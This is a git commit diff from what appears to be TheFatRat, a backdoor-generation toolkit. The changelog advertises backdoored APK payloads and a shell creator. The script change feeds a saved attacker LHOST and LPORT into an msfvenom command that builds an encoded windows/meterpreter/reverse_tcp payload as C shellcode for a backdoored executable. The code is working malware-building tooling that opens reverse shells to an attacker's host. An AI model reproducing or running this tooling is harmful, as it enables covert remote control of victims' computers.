This commit is contained in:
root 2017-03-30 06:44:11 -04:00
parent 55bdaf4e52
commit 6d80684228
2 changed files with 23 additions and 6 deletions

View File

@ -1,7 +1,7 @@
## CHANGELOG
* v1.9.2 - Implemented option to create only apk payload in backdoored menu
* v1.9.2 - Implemented Default Lhost & Lport config to fatrat
* v1.9.2 - Implemented Default Lhost & Lport config to fatrat & powerfull shell creator
* v1.9.2 - Fixed payload in pnwinds option2
* v1.9.2 - Implemented Stop functions in pnwinds
* v1.9.2 - New signing process in old method backdoor apk & option to create listener

View File

@ -9,6 +9,15 @@ searchsploit=`sed -n 17p $file`
else
echo "Configuration file does not exists , run setup.sh first ."
exit 1
fi
path=`pwd`
defcon=$path/config/conf.def
if [ -f "$defcon" ]
then
yourip=`sed -n 1p $defcon`
yourport=`sed -n 2p $defcon`
fi
#get user local ip , public ip & hostname into variables
@ -103,10 +112,18 @@ echo -e $yellow "Your local IP address is : $lanip"
echo -e $yellow "Your public IP address is : $publicip"
echo -e $yellow "Your Hostname is : $hostn"
echo -e $okegreen ""
read -p ' Set LHOST IP: ' payloadLHOST; read -p ' Set LPORT: ' payloadLPORT
if [ ! -f "$defcon" ]
then
yourip=""
yourport=""
fi
if [ -z "$yourip" ]; then
read -p ' Set LHOST IP: ' yourip
fi
echo -e $okegreen ""
if [ -z "$yourport" ]; then
read -p ' Set LPORT: ' yourport
fi
payload="windows/meterpreter/reverse_tcp"
msfvenomBadChars="\x00\xff"
@ -223,7 +240,7 @@ while [[ ! -f "$outputExe" ]]; do
generatePadding
echo "" >> $cProg
$msfvenom -p ${payload} LHOST=$payloadLHOST LPORT=$payloadLPORT -b ${msfvenomBadChars} -e ${msfvenomEncoder} -i ${msfvenomIterations} -f c >> $cProg
$msfvenom -p ${payload} LHOST=$yourip LPORT=$yourport -b ${msfvenomBadChars} -e ${msfvenomEncoder} -i ${msfvenomIterations} -f c >> $cProg
generatePadding